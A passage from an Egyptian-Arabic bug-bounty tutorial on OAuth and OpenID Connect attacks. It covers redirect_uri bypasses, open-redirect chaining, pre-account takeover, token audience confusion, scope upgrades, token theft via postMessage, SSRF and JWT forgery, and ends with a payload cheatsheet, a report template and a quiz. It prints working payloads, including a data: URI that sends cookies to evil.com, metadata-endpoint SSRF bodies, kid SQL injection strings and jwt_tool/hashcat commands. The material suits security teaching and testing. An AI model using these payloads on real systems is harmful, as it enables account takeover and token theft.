الـ redirect_uri parameter بيقول للـ auth server "بعد ما المستخدم يلوج، رجع الكود/التوكن على العنوان ده". لو الـ attacker قدر يخلي الـ auth server يبعت الكود على دومين بتاع الـ attacker، اللعبة خلصت.

الـ flow بتاع الهجوم:

1. Attacker بيعمل URL يبدا الـ OAuth flow بـ redirect_uri يخصه.
2. Attacker بيبعت الـ URL ده للضحية.
3. الضحية بتدوس على اللينك (ممكن يكون مخفي في email أو social).
4. الضحية بتعمل login عادي مع الـ provider (هي بالفعل عندها session).
5. الـ provider بيرجع الكود/التوكن — لكن للـ redirect_uri اللي حدده الـ attacker.
6. الـ attacker بياخد الكود، بيستخدمه على الـ legitimate callback، ويلوج إن باسم الضحية.

⚠️ ميزة الـ attack ده: حتى لو الـ state parameter موجود، ده مش بيحمي من الـ redirect_uri attack لأن الـ attacker بيولد state بتاعه ويستخدمه عبر الـ flow.
// REDIRECT_URI MANIPULATION — VARIANTS // VARIANT 1: Loose validation — substring check // Server checks: redirect_uri.startsWith("https://client.com/") redirect_uri=https://client.com.evil.com/callback // Subdomain attack redirect_uri=https://client.com@evil.com/callback // Userinfo trick redirect_uri=https://client.com.evil.com#@client.com/callback // Fragment trick // VARIANT 2: Path manipulation redirect_uri=https://client.com/oauth/callback/../../malicious/path // On backend may resolve to: /malicious/path on client.com // VARIANT 3: Parameter pollution ?redirect_uri=https://client.com/cb&redirect_uri=https://evil.com // Some servers validate first, use second // VARIANT 4: Localhost trust redirect_uri=https://localhost.evil.com/callback // If server allows any URL starting with "localhost" // VARIANT 5: response_mode manipulation ?redirect_uri=https://client.com/cb&response_mode=fragment // Changes how URI is parsed/validated in some servers // VARIANT 6: web_message response mode ?redirect_uri=https://*.client.com&response_mode=web_message // Often allows wider domain matching // VARIANT 7: Authorization scheme abuse (mobile) redirect_uri=javascript:alert(1) redirect_uri=data:text/html,<script>...</script> // If server accepts arbitrary schemes
Bypass Techniques المهمة
  • Path traversal /callback/../../different-path
  • URL encoding %2e%2e/, %252e/
  • Double encoding %25%32%65 = %2e
  • Backslash /callback\..\admin
  • Alt schemes javascript:, data:, file:
  • Trailing chars /callback?, /callback#, /callback/
  • Punycode xn--client-tla.com للـ IDN homograph
السيناريوهات الواقعية
  • السيرفر بيتحقق إن الدومين ينتهي بـ "client.com" — جرب attackerclient.com
  • السيرفر بيتحقق إن الدومين يبدا بـ "client.com" — جرب client.com.evil.com
  • السيرفر بيتحقق ضد regex — جرب characters غير متوقعة
  • السيرفر بيتحقق على الـ /authorize بس مش الـ /token — جرب URLs مختلفة
  • السيرفر بيدعم wildcards — استخدم *.client.com
📌 IDN Homograph Attack: SEMrush كان عنده bug مشهور حيث الـ validation كانت بتقبل دومين Punycode xn--emrush-9jb.com (يظهر كـ šemrush.com في البراوزر) كأنه subdomain من semrush.com. الـ Cyrillic 'š' مماثل للـ Latin 's' بصرياً. الـ attacker سرق access tokens من المستخدمين عن طريق الـ phishing لينك بدومين شبيه.
// 13 — تكنيك الـ chaining

Open Redirect → OAuth Theft

حتى لو الـ redirect_uri validation شديدة، open redirect على الدومين الـ legitimate ممكن تتسبب في كارثة.

◆ ◇ ◆
// SCRIPT — Why this attack is so commonCHAINING

الـ developer بيكون فاكر إن إنه ضمن الـ redirect_uri = نفس الدومين الـ legitimate يبقى آمن. بس لو في open redirect على الدومين ده، الـ attacker يقدر يستخدمها كـ proxy.

السيناريو الكلاسيكي: الـ application بتقبل redirect_uri لأي subpath على client.com. لكن في endpoint على client.com — مثلاً /redirect?url=... أو /logout?next=... — اللي بيعمل redirect لأي URL بدون validation.

// THE CHAIN — STEP BY STEP // STEP 1: Find an open redirect on the client domain // Example endpoint: GET https://client.com/redirect?next=https://evil.com // Server responds: 302 Found, Location: https://evil.com // STEP 2: Build OAuth URL using this open redirect as redirect_uri GET https://auth.provider.com/oauth/authorize? client_id=12345& response_type=token& // Implicit flow leaks token in fragment redirect_uri=https://client.com/redirect?next=https://evil.com/steal& scope=openid // STEP 3: Provider validates redirect_uri // "Yes, starts with https://client.com/" → APPROVED // STEP 4: Victim logs in, provider redirects: 302 Location: https://client.com/redirect?next=https://evil.com/steal#access_token=VICTIM_TOKEN // STEP 5: Open redirect kicks in, redirects to: 302 Location: https://evil.com/steal#access_token=VICTIM_TOKEN // STEP 6: Attacker's server logs the URL fragment // Or attacker's JavaScript reads window.location.hash // 🎯 ATTACKER NOW HAS VICTIM'S ACCESS TOKEN
Open Redirect Hunting Techniques
  • دور على parameters: url, next, redirect, return, returnTo, dest, destination
  • اختبر endpoints معروفة: /logout, /login, /goto, /go
  • اختبر error pages — أحياناً بترجعك لمكان كبير
  • اختبر forgot password flows — /reset?return_url=
  • افحص الـ JavaScript للـ client-side redirects (window.location = ...)
سيناريوهات تانية للـ leak
  • Referrer header الـ token في الـ URL يظهر في Referer لأي طلب outbound
  • XSS أي XSS على الـ callback page = token theft
  • HTML Injection <img src="evil"> يبعت الـ Referer للـ attacker
  • Vulnerable JS libs postMessage/jsonp libs ممكن تسرب الـ fragment
  • 3rd-party scripts analytics, ads ممكن تسرب الـ URL
📌 Real-world example — login.fr.cloud.gov: الـ application كان بيقبل أي redirect_uri من غير whitelist. الـ researcher جرب redirect_uri=https://evil.com/auth/callback وكان السيرفر بيرسل التوكن مباشرة لـ evil.com. ده مش حتى chaining — ده فقدان كامل للـ validation.
// 14 — الكلاسيكية الذكية

Pre-Account Takeover

الـ attack ده مش بيحتاج كسر OAuth. بيحتاج بس فهم لمنطق ربط الحسابات. وده بيوجع الشركات كتير.

◆ ◇ ◆
// SCRIPT — The Logic FlawSOCIAL ATTACK

الـ vulnerability دي بتحصل لما الـ application بتدعم طريقتين للتسجيل: email/password عادي، و OAuth login (مثلاً Login with Google). الـ application بتربط الحسابات على أساس الـ email.

السيناريو الكامل:

1. الـ attacker بيعرف email الضحية (مثلاً victim@gmail.com).
2. الـ attacker بيسجل في الـ application بـ email الضحية + password يخصه. الـ application ما بتبعتش email verification أو الـ verification بيتم asynchronously.
3. الـ attacker مش بيـ verify الـ email — وده مش مشكلة بالنسبة له، الحساب موجود.
4. بعد فترة، الضحية بتيجي تستخدم الـ application. تدوس "Login with Google".
5. Google بترجع للـ application: "ده victim@gmail.com". الـ application بتلاقي إن في حساب موجود بنفس الـ email. بدل ما تطلب password reset أو verification، بتربط الحسابين تلقائياً.
6. الضحية تستخدم الـ application عادي — مش حاسة بأي حاجة غريبة.
7. الـ attacker بيلوج إن بـ email الضحية + الـ password الأصلي اللي حطه في step 2. معاه access كامل لحساب الضحية.

⚠️ الـ trick هنا: الضحية مش هتعرف. هي تلوج عبر Google، تلاقي حسابها شغال، وكل حاجة طبيعية. بس الـ attacker معاه نفس الـ access في الخلفية.
// PRE-ACCOUNT TAKEOVER — TIMELINE // PHASE 1 — ATTACKER SETS THE TRAP POST https://target.com/api/register { "email": "victim@gmail.com", // ← victim's email "password": "AttackerControlledPass123" } // 200 OK — account created (NO email verification!) // Or: 200 OK with "verification email sent" but account is functional // PHASE 2 — VICTIM ARRIVES (days/weeks later) // Victim clicks "Login with Google" on target.com GET https://target.com/oauth/google // Standard Google OAuth flow happens // Returns Google profile: { email: "victim@gmail.com", verified: true } // PHASE 3 — VULNERABLE LINKING // Backend logic (vulnerable): if (existingAccount.email == googleProfile.email) { // MERGE accounts — link Google to existing account // NO password verification, NO email re-verification loginAs(existingAccount.id); } // PHASE 4 — ATTACKER LOGS IN POST https://target.com/api/login { "email": "victim@gmail.com", "password": "AttackerControlledPass123" // from Phase 1 } // 200 OK — Attacker now has full access // Same account victim is using via Google!
إزاي تختبر
  • اعمل account بـ email + password (مع email لا تملكه)
  • ما تـ verifyش الـ email
  • اخرج من الحساب
  • اعمل OAuth login مع Google (لو إنت تحكم في Google account معاه نفس الـ email)
  • الأسهل: استخدم provider يسمح بـ unverified emails (Yahoo قديم/Yandex/...)
  • أو: اعمل اختبار مع زميل — إنت تعمل حساب password بـ email زميلك، هو يلوج عبر OAuth
  • تحقق: لو الحسابين اتربطوا بدون verification = vulnerability
الـ Fix الصحيح

عند ربط حساب OAuth بحساب password موجود:

  • يطلب password reset قبل الربط
  • أو يبعت verification email جديد للحساب القديم
  • أو يطلب email verification الأول قبل ما يفعّل الـ password account
  • لازم يتأكد إن الـ email_verified=true في الـ OIDC token
  • يمنع ربط حساب OAuth بحساب unverified email
📌 Real-world examples: Reddit كان عنده الـ vulnerability ده — الـ team أصلحه عبر إجبار password reset عند ربط الحسابات. Badoo كان عنده برضو نفس الـ pattern مع كذا OAuth provider. Priceline كان وضعه أسوأ — الـ attacker قدر يسجل دومين كامل في Google Workspace ويستحوذ على أي حساب بـ email على الدومين ده.
// 15 — Token Confused Deputy

Token Audience Validation

الـ token issued لـ App A لازم ما يشتغلش على App B. لو الـ application مش بتتحقق من الـ aud claim — تطبيقات كتيرة عرضة.

◆ ◇ ◆
// SCRIPT — The skeleton key bugCRITICAL

الـ Identity Provider (مثلاً Facebook, Google) بيصدر access tokens. كل token مرتبط بـ application معين (الـ aud / app_id). لما الـ provider يصدر token لـ "App A"، التوكن ده يخص App A فقط.

لكن في كتير من التطبيقات اللي بتدعم social login، الـ flow بيكون:

1. الـ client بياخد access token من Facebook عبر SDK.
2. الـ client بيبعت التوكن لـ backend بتاعه.
3. الـ backend بيستدعي Facebook API بالتوكن، بياخد user info.
4. الـ backend بيلوج إن المستخدم على أساس الـ Facebook user ID.

المشكلة: الـ backend مش بيتحقق إن التوكن ده صادر للـ application بتاعه. أي token Facebook صحيح هيشتغل — حتى لو صادر لتطبيق تاني تماماً.

⚠️ السيناريو: الـ attacker بيعمل Facebook app خاص بيه. أي مستخدم يلوج إن في الـ attacker's app، الـ attacker بياخد access token صادر باسم اليوزر. الـ attacker بياخد التوكن ده ويبعته للـ victim app's backend. الـ backend بيقبل التوكن، يجيب user info، ويلوج الـ attacker كأنه اليوزر ده على الـ victim app.
// AUDIENCE CONFUSION ATTACK — DETAILED // SETUP: Attacker creates a Facebook app called "FunQuiz" // app_id = ATTACKER_APP_ID // PHASE 1: Lure victim to log into "FunQuiz" // Victim does standard Facebook OAuth // Returns access_token issued for ATTACKER_APP_ID token_payload = { "user_id": "victim_facebook_id_999", "app_id": "ATTACKER_APP_ID", // ⭐ THE KEY DIFFERENCE "scopes": ["public_profile, email"] } // PHASE 2: Attacker takes this token and sends to victim app POST https://imager.com/api/auth/facebook { "access_token": "VICTIM_TOKEN_FROM_ATTACKER_APP" } // PHASE 3: Imager's backend (vulnerable) does this: GET https://graph.facebook.com/me?access_token=VICTIM_TOKEN_FROM_ATTACKER_APP // Returns: { id: "victim_facebook_id_999", email: "victim@gmail.com" } // VULNERABLE: Backend doesn't check that token was issued for IMAGER_APP_ID // It just trusts the user_id and creates a session // 🎯 ATTACKER NOW LOGGED IN AS VICTIM ON IMAGER // ───────────────────────────────────────────── // THE FIX: GET https://graph.facebook.com/debug_token?input_token=TOKEN&access_token=APP_TOKEN // Returns: { "app_id": "ATTACKER_APP_ID", // ← compare with YOUR app_id "is_valid": true, "user_id": "victim_facebook_id_999" } // Backend should reject if app_id != IMAGER_APP_ID
إزاي تختبر
  • اعمل Facebook/Google app تخصك (free)
  • سجل redirect_uri يخصك
  • لوج إن في app بتاعك (ممكن إنت بنفسك أو من PoC user)
  • خد الـ access_token من الـ response
  • روح للـ target application — Burp اعترض الـ social login request
  • غير الـ access_token لـ token من app بتاعك
  • لو الـ login نجح = audience validation missing = critical bug
الـ Fix الصحيح — Server-Side
  • Facebook: استخدم /debug_token للتأكد من app_id
  • Google: استخدم tokeninfo endpoint والتأكد من aud claim
  • Apple: validate الـ aud في الـ id_token
  • OIDC general: validate aud claim في الـ id_token
  • Best practice: validate iss + aud + exp + signature
📌 Real-world examples: Imgur كان عنده الـ bug ده مع Facebook login — أي token Facebook صالح كان يشتغل. Reverb (iOS app) كان بيقبل tokens صادرة لـ apps زي "Let's Go" أو "List". الـ pattern متكرر بكثرة لأن الـ Facebook SDK بيخفي التعقيد ويخلي المطورين يفكروا إن "if token is valid, user is authenticated".
// 16 — توسيع الصلاحيات

Scope Upgrade Attacks

المستخدم وافق على read-only، لكن الـ attacker يقدر يحصل على write. لو الـ scope validation ضعيفة.

◆ ◇ ◆
// SCRIPT — How scopes can be upgradedPRIVILEGE ESCALATION

الـ scope parameter بيقول "أنا client بدي الصلاحيات دي". المستخدم بيوافق على scopes معينة، الـ token بيتصدر بالـ scopes دي. لكن في الـ subsequent requests للـ token endpoint، أحياناً الـ server بيقبل scope جديدة من غير ما يتحقق.

السيناريو 1 — Authorization Code Flow:

1. Attacker بيعمل client app يطلب scope "openid email" بس.
2. الضحية توافق — التوكن صادر بـ scope محدودة.
3. عند الـ token exchange، الـ attacker (اللي بيتحكم في الـ client) بيضيف scope جديدة في الطلب: scope=openid email profile address phone.
4. لو الـ server مش بيقارن مع الـ original consent، بيصدر token بالـ scopes الجديدة.

السيناريو 2 — Implicit Flow:

1. Attacker بيسرق access token بصلاحيات محدودة (read).
2. عند استخدام التوكن للـ /userinfo أو غيره، يضيف scope parameter جديد.
3. لو الـ resource server مش بيتحقق إن الـ scope مفعل في التوكن، بيرجع data أكتر مما المستخدم وافق عليه.

// SCOPE UPGRADE — AUTHORIZATION CODE FLOW // STEP 1: Attacker's client requests minimal scope GET /authorize? client_id=ATTACKER_CLIENT& response_type=code& redirect_uri=https://attacker.com/cb& scope=openid email // User sees: "Allow email access?" // User approves — code returned GET /cb?code=AUTH_CODE // STEP 2: Attacker exchanges code WITH UPGRADED SCOPES POST /token grant_type=authorization_code& code=AUTH_CODE& client_id=ATTACKER_CLIENT& client_secret=SECRET& redirect_uri=https://attacker.com/cb& scope=openid email profile address phone // ⚠️ Added new scopes! // VULNERABLE server returns: { "access_token": "...", "scope": "openid email profile address phone", // Granted! "expires_in": 3600 } // Now attacker has token with MORE permissions than user approved // Can access /userinfo with profile, address, phone data // 🎯 USER NEVER CONSENTED to address or phone access
إزاي تختبر
  • اعمل OAuth flow عادي بـ scope محدد (مثلاً openid email)
  • عند الـ token exchange، أضف scopes تانية في الطلب
  • افحص الـ response — هل التوكن الجديد فيه الـ scopes اللي أضفتها؟
  • لو أيوه — غالباً بدون consent — vulnerability
  • ممكن كمان تختبر على الـ /userinfo: ضيف scope query parameter وشوف لو بيرجع data أكتر
  • أحياناً في wildcards زي scope=* أو scope=admin — جرب
Hidden / Undocumented Scopes

في scopes كتيرة مش موجودة في الـ docs بس بتشتغل:

  • openid الأساسي للـ OIDC
  • profile الاسم، الصورة، الـ locale
  • email الـ email والـ verified status
  • address الـ structured address
  • phone رقم الهاتف
  • offline_access ⚠️ بياخد refresh token = persistent access
  • admin أحياناً موجود في internal apps
  • openid:** wildcards ممكن تشتغل في بعض الـ servers
// 17 — تكنيك Frans Rosén

"Dirty Dancing" — Token Theft

تكنيك متطور لسرقة OAuth tokens عبر استغلال "non-happy paths" في الـ flow + postMessage abuse.

◆ ◇ ◆
// SCRIPT — The "Stranded Token" AttackADVANCED

الـ "dirty dancing" تكنيك اخترعه Frans Rosén ضد كذا برنامج كبير (Reddit, Mapbox, Zoom). الفكرة الأساسية: تخلي الـ OAuth flow يفشل في مرحلة معينة بحيث يخلي التوكن "stranded" في الـ URL، ثم تستخدم client-side bug عشان تسرّبه.

الخطوات:

1. الـ attacker بيلاعب الـ flow بحيث الـ provider بيصدر token صالح، بس الـ client يفشل في consume الـ token عشان السبب.
2. ده ممكن يكون عن طريق: تغيير response_type من code لـ token، إرسال state غير متوقع، تغيير response_mode، أو إضافة prompt=none.
3. الـ provider بيرجع للـ callback، الـ token في الـ URL fragment.
4. الـ client بيلاحظ إن state غلط (أو حاجة تانية فشلت)، بيظهر error page. لكن الـ URL fragment لسه فيه التوكن.
5. لو الـ error page بتلود scripts من 3rd parties (analytics, chat widgets, ads)، الـ scripts دي ممكن تقرا الـ window.location.hash.
6. الـ attacker بيستغل postMessage listener أو CORS misconfiguration على واحد من الـ scripts دي عشان يسرّب الـ URL.

⚠️ ده hack محترف. مش بسيط زي الـ classic redirect_uri attack — لكنه فعال جداً ضد التطبيقات اللي عاملة validation شديدة على redirect_uri.
// DIRTY DANCING — STEP BY STEP // STEP 1: Force token issuance with invalid client state // Trick the IDP into responding with token despite client misconfig // Variant A — switch response_type: GET /authorize? client_id=12345& redirect_uri=https://client.com/callback& response_type=token id_token& // Client expected: code scope=openid& state=INVALID_STATE // Variant B — change response_mode: GET /authorize? client_id=12345& response_type=token& response_mode=fragment& // Forces fragment delivery redirect_uri=https://client.com/callback // STEP 2: User authenticates → IDP issues token in URL fragment 302 Location: https://client.com/callback#access_token=VICTIM_TOKEN&state=INVALID // STEP 3: Client detects state mismatch → renders error page // BUT: URL fragment still contains the token! // STEP 4: Error page loads 3rd-party scripts // e.g., chat widget at https://chat-vendor.com/widget.js // The widget creates an iframe and listens for postMessage // STEP 5: Vulnerable postMessage listener on chat widget: window.addEventListener("message", function(event) { // VULNERABLE: no origin check! if (event.data.type === "sync") { event.source.postMessage({ url: window.location.href // ← Includes fragment with token! }, "*"); // ← targetOrigin "*" leaks to anyone } }); // STEP 6: Attacker's iframe sends "sync" message, receives URL with token // 🎯 TOKEN STOLEN
العلامات اللي تخليك تجرب
  • الـ application بيدعم multiple response_types
  • 3rd-party scripts على الـ callback/error pages
  • Chat widgets، analytics، ads على الـ OAuth callback
  • الـ state validation موجود لكن بيفشل بـ error page (مش redirect كامل)
  • Inspect كل postMessage listeners في الـ DOM
Bug Bounty Examples
  • $55K Facebook — postMessage flaw in "Login with Facebook"
  • $15K Zoom — Cookie XSS chained with OAuth
  • High Reddit — Fragment leakage via 3rd-party iframe
  • High Mapbox — Same dirty dancing technique
// 18 — OpenID Connect Attacks

OIDC Vulnerabilities

OIDC بيضيف complexity فوق OAuth. الـ complexity دي بتجيب معها attack vectors جديدة خاصة بيها.

◆ ◇ ◆
VULN 01 — Dynamic Client Registration (SSRF)

تسجيل عميل خبيث

الـ OIDC specification بتدعم حاجة اسمها Dynamic Client Registration — أي حد يقدر يسجل client جديد عبر /register endpoint.

لو الـ endpoint ده مفتوح بدون authentication، الـ attacker يقدر يسجل client بـ jwks_uri أو logo_uri بيشير لـ internal network — SSRF كلاسيكي.

// SSRF via Dynamic Registration POST /openid/register { "client_name": "LegitApp", "redirect_uris": ["https://attacker.com/cb"], "jwks_uri": "http://169.254.169.254/latest/meta-data/", "logo_uri": "http://internal-service.local/admin" } // Server fetches these URIs → SSRF
VULN 02 — request_uri SSRF

JWT Authorization Requests

OIDC بيدعم إرسال الـ authorization parameters كـ JWT عبر request_uri parameter بدل الـ query string العادي.

لو الـ server بيجيب الـ JWT ده من الـ URL، الـ attacker يحط request_uri بيشير لـ internal service.

// SSRF via request_uri GET /authorize? client_id=12345& request_uri=http://169.254.169.254/& response_type=code // Auth server fetches that URL → SSRF // Check: request_uri_parameter_supported: true // in /.well-known/openid-configuration
VULN 03 — email_verified Missing Check

Account Takeover via Unverified Email

الـ OIDC provider بيديك claim اسمه email_verified. لو الـ client مش بيتحقق منه، الـ attacker يسجل في الـ provider بـ email الضحية من غير verification ويلوج إن باسمها.

// VULNERABLE — no email_verified check // id_token payload: { "email": "victim@gmail.com", "email_verified": false // ← IGNORED! } // Backend just uses email to login → ATO // SECURE: if (!idToken.email_verified) { throw new Error("Email not verified"); }
VULN 04 — nonce Replay Attack

ID Token Replay

الـ nonce في الـ id_token بيمنع إعادة استخدام التوكن في attacks. لو الـ client مش بيتحقق منه، الـ attacker يقدر يعيد استخدام id_token قديم.

// Testing nonce validation // Step 1: Start normal OIDC flow, capture id_token // Step 2: Try replaying the old id_token POST /api/auth/callback { "id_token": "CAPTURED_OLD_TOKEN" } // If accepted = nonce not validated // The nonce in token should match session nonce
// SCRIPT — JWT Algorithm AttacksADVANCED

في OIDC، الـ id_token هو JWT. وده بيخليه عرضة لكل JWT attacks المعروفة. أهمها:

Algorithm Confusion (RS256 → HS256): الـ server بيصدر التوكن بـ RS256 (asymmetric). الـ attacker بيغير الـ alg لـ HS256 (symmetric) ويعمل signature بالـ public key كـ secret. لو الـ library مش بتعمل validation صارم على الـ algorithm، هتقبل التوكن الملفق.

alg:none Attack: بعض الـ libraries بتقبل tokens بدون signature لو الـ algorithm اتحدد كـ "none". غالباً مش شغالة على Production لكن لازم تختبرها.

⚠️ لو لقيت HS256 في discovery document (id_token_signing_alg_values_supported) — دي نقطة بداية للاختبار. RS256 أأمن بكتير لأن الـ verification key public.
// ALGORITHM CONFUSION — RS256 to HS256 // Original JWT header: { "alg": "RS256", "typ": "JWT" } // Step 1: Get server's public key (from /jwks.json) GET /.well-known/jwks.json { "keys": [{ "n": "PUBLIC_KEY_MODULUS..." }] } // Step 2: Create forged JWT with changed algorithm header = base64({ "alg": "HS256" }) payload = base64({ "sub": "admin_user_id", "email": "admin@target.com" }) signature = HMAC_SHA256(header + "." + payload, PUBLIC_KEY) // ← public key as HMAC secret! // Step 3: Send forged token POST /api/auth { "id_token": "FORGED_JWT" } // Vulnerable library computes: HMAC(payload, PUBLIC_KEY) // Compares with signature → MATCH → accepts token! // 🎯 FULL AUTHENTICATION BYPASS // Tools: jwt_tool.py -X a (alg:none), -X s (RS/HS confusion) // https://github.com/ticarpi/jwt_tool
الـ Vulnerability الـ Indicator الـ Test الأولوية
Dynamic Registration SSRF registration_endpoint في discovery doc سجل client بـ jwks_uri/logo_uri يشير لـ internal IP CRITICAL
request_uri SSRF request_uri_parameter_supported: true ابعت request_uri لـ internal service HIGH
email_verified bypass Login with social + email as identifier سجل في provider بـ email غير verified CRITICAL
Algorithm Confusion HS256 في supported algorithms jwt_tool -X s بالـ public key CRITICAL
nonce Replay OIDC flow بدون nonce validation أعد استخدام id_token قديم HIGH
alg:none "none" في id_token_signing_alg_values jwt_tool -X a HIGH
kid Injection kid claim في JWT header SQLi / path traversal في kid value HIGH
// 19 — خريطة القرارات

Decision Trees — ابدأ منين؟

لما تشوف OAuth implementation، دي الخريطة اللي بتحدد فين تبدأ وايه تختبر أولاً.

◆ ◇ ◆
// DECISION TREE 01 — GRANT TYPE SELECTION
response_type في /authorize = ?
├─= "token"──▶Implicit Flow ⚠️
├─اختبر redirect_uri token theft
├─اختبر Implicit Authentication Bypass
└─ابحث عن XSS + postMessage على callback page
├─= "code"──▶Auth Code Flow ✓
├─في state parameter؟
├─ لأ──▶CSRF vulnerability!
└─ أيوه──▶state validated عند callback؟
├─ لأ──▶State bypass → CSRF
└─ أيوه──▶اختبر redirect_uri
├─في PKCE؟
├─ لأ──▶Code interception risk
└─ أيوه──▶method = S256 or plain?
└─ plain──▶Weak PKCE → test bypass
└─= "id_token" / hybrid──▶OIDC Implicit ⚠️
└─اختبر JWT alg attacks + nonce
// DECISION TREE 02 — REDIRECT_URI TESTING
الـ redirect_uri validation نوعها ايه؟
├─Exact match──▶الأحسن — اختبر edge cases بس
└─جرب path traversal، trailing chars، URL encoding
├─Prefix match (startsWith)──▶خطر ⚠️
├─جرب: https://client.com.evil.com
├─جرب: https://client.com@evil.com
└─جرب: https://client.com/cb/../../evil
├─Regex match──▶خطر ⚠️
└─فهم الـ regex ثم exploit edge cases
└─No validation──▶CRITICAL — أي URI مقبول!
└─روح على طول بـ https://evil.com
// DECISION TREE 03 — SOCIAL LOGIN TESTING
في "Login with Google/Facebook/Apple"؟
├─الـ backend بيستقبل access_token من الـ client؟
└─ أيوه──▶اختبر Audience Validation
├─اعمل app بنفسك على نفس الـ provider
├─خد token من app بتاعك
└─ابعته للـ target backend — لو وافق = CRITICAL
├─الـ app بيدعم email+password برضو؟
└─ أيوه──▶اختبر Pre-ATO
├─سجل بـ email + password (لا تـ verify)
└─لوج إن بنفس الـ email عبر OAuth → لو دخل = bug
└─الـ backend بيعمل POST بـ user data بعد OAuth؟
└─ أيوه──▶اختبر Implicit Bypass
└─غير الـ email/sub في الـ POST → لو دخل = bug
// DECISION TREE 04 — TOKEN VALIDATION TESTING
شكل الـ access token / id_token ايه؟
├─JWT (يبدأ بـ eyJ)──▶افك الـ JWT على jwt.io
├─alg = HS256؟──▶جرب weak secret bruteforce
├─alg = RS256؟──▶جرب RS256→HS256 confusion
├─alg = none مدعوم؟──▶جرب unsigned token
├─kid claim موجود؟──▶جرب SQLi / path traversal
└─jku / x5u موجود؟──▶جرب تغيير الـ URL لـ external
└─Opaque string──▶اختبر token reuse + scope bypass
// 20 — المرجع السريع

OAuth Cheatsheet

كل حاجة محتاجها في الـ testing في مكان واحد — parameters، endpoints، payloads، tools.

◆ ◇ ◆
⟨ RECON — Discovery Endpoints ⟩
// Always try these first GET /.well-known/openid-configuration GET /.well-known/oauth-authorization-server GET /.well-known/jwks.json GET /oauth/.well-known/openid-configuration GET /api/.well-known/openid-configuration // From discovery doc — check these fields: "grant_types_supported": ["implicit", "password"] ← bad "response_types_supported": ["token", "id_token"] ← bad "id_token_signing_alg_values_supported": ["none", "HS256"] ← bad "token_endpoint_auth_methods_supported": ["none"] ← bad "registration_endpoint": "..." ← test SSRF "request_uri_parameter_supported": true ← test SSRF "code_challenge_methods_supported": ["S256"] ← good
⟨ REDIRECT_URI — Test Payloads ⟩
// Assume whitelist = https://client.com/callback // Subdomain attacks: redirect_uri=https://evil.client.com/callback redirect_uri=https://client.com.evil.com/callback redirect_uri=https://client.com%60.evil.com/callback // Path traversal: redirect_uri=https://client.com/callback/../admin redirect_uri=https://client.com/callback%2F..%2Fadmin redirect_uri=https://client.com/callback%252F..%252Fadmin // URL parsing tricks: redirect_uri=https://client.com@evil.com/callback redirect_uri=https://client.com#@evil.com/callback redirect_uri=https://client.com&@evil.com/callback redirect_uri=https://client.com/callback?x=https://evil.com // Parameter pollution: ?redirect_uri=https://client.com/cb&redirect_uri=https://evil.com // Schemes: redirect_uri=javascript:alert(1) redirect_uri=data:text/html,<script>fetch('https://evil.com?c='+document.cookie)</script> // Response mode change (may bypass validation): &redirect_uri=https://client.com/cb&response_mode=fragment &redirect_uri=https://client.com/cb&response_mode=web_message
⟨ JWT ATTACKS — Tools & Commands ⟩
// jwt_tool — https://github.com/ticarpi/jwt_tool python3 jwt_tool.py TOKEN -X a # alg:none python3 jwt_tool.py TOKEN -X s # RS/HS confusion python3 jwt_tool.py TOKEN -X k # key injection python3 jwt_tool.py TOKEN -X i # jku/x5u injection python3 jwt_tool.py TOKEN -C -d wordlist.txt # brute HS256 // hashcat brute force HS256: hashcat -a 0 -m 16500 TOKEN wordlist.txt // Manual alg:none: header = base64url({"alg":"none","typ":"JWT"}) payload = base64url({"sub":"admin","email":"admin@target.com"}) token = header + "." + payload + "." // kid SQLi payloads: kid = "' UNION SELECT 'hacked_secret' -- " kid = "../../../dev/null" # path traversal kid = "../../proc/sys/kernel/randomize_va_space"
⟨ SCOPE — Hidden/Admin Scopes ⟩
// Standard OIDC scopes to test scope=openid scope=profile scope=email scope=address scope=phone scope=offline_access ← refresh token! // App-specific to guess: scope=admin scope=write scope=read:all scope=openid:* scope=* scope=openid+profile+admin
⟨ STATE — CSRF Test ⟩
// Check state parameter // 1. Is state present in /authorize? // 2. Remove state → server accepts? // 3. Use fixed state value → server accepts? // 4. Use attacker-generated state → server accepts? // CSRF PoC (if state missing): <img src="https://target.com/oauth/callback ?code=ATTACKER_CODE"> // Forced account linking PoC: <iframe src="https://target.com/oauth/callback ?code=ATTACKER_CODE&state=VALID_STATE">
الـ Tool الاستخدام الـ Command / URL
Burp Suite Intercept كل OAuth flow، modify parameters Proxy → HTTP History → Filter: oauth
jwt_tool JWT attacks: alg confusion، brute، injection github.com/ticarpi/jwt_tool
jwt.io Decode وفهم JWT tokens jwt.io
hashcat Brute force HS256 secret hashcat -m 16500 token wordlist.txt
OAuth Test Suite Automated OAuth testing portswigger.net/burp/extensions
Interactsh Out-of-band detection للـ SSRF app.interactsh.com
Firefox DevTools تحليل postMessage + localStorage F12 → Console: monitorEvents(window, 'message')
// BUG BOUNTY REPORT TEMPLATE — OAuth ATOREPORTING
## Title: OAuth Account Takeover via [vulnerability class]

## Severity: Critical / High

## Summary:
The application's OAuth implementation fails to [validate X]. An attacker can exploit this to take over any user account without knowing their credentials.

## Steps to Reproduce:
1. Navigate to [login page] and click "Login with [Provider]"
2. Intercept the request in Burp Suite
3. Modify the [parameter] to [value]
4. Forward the request
5. Observe that the application [logs in / links / accepts]

## Impact:
Complete account takeover of any registered user.
No user interaction required.
Attacker gains full access to victim's data and account functions.

## PoC Video / Screenshots: [attach]

## Remediation:
- Validate [exact fix]
- Implement [security control]
- Reference: RFC 6749 Section [X]
// VULNERABILITY SEVERITY MATRIX
الـ Vulnerability Account Takeover Data Theft No User Interaction Severity
redirect_uri = external CRITICAL
Implicit Flow Bypass CRITICAL
Audience Validation Missing CRITICAL
JWT alg:none CRITICAL
Pre-Account Takeover CRITICAL
Missing state / CSRF HIGH
Open Redirect + OAuth Chain CRITICAL
Scope Upgrade HIGH
SSRF via jwks_uri HIGH

✓ = Yes | △ = Sometimes | ✗ = No

// 21 — اختبر نفسك

الـ Quiz النهائي

10 أسئلة على كل اللي اتعلمناه. اختبر فهمك قبل ما تبدأ تصطاد.

◆ ◇ ◆
في الـ Authorization Code Flow، ليه الـ access token أحسن مايمرش في الـ browser redirect؟
أ. عشان الـ browser مش قادر يتعامل مع tokens
ب. عشان الـ browser history وmalicious scripts ممكن يسرقوه من الـ URL
ج. عشان الـ token بيكون كبير أوي على الـ URL
د. عشان الـ OAuth spec بتمنع ده
إجابة صحيحة! الـ URL fragment في الـ Implicit Flow بيبقى في browser history وقادر أي JS يقراه. عشان كده الـ Authorization Code Flow بيبدله بتوكن عبر back-channel سيرفر-لسيرفر بدون ما يمر في الـ browser.
إيه الـ PKCE code_challenge_method الأآمن؟
أ. plain — لأنه أبسط
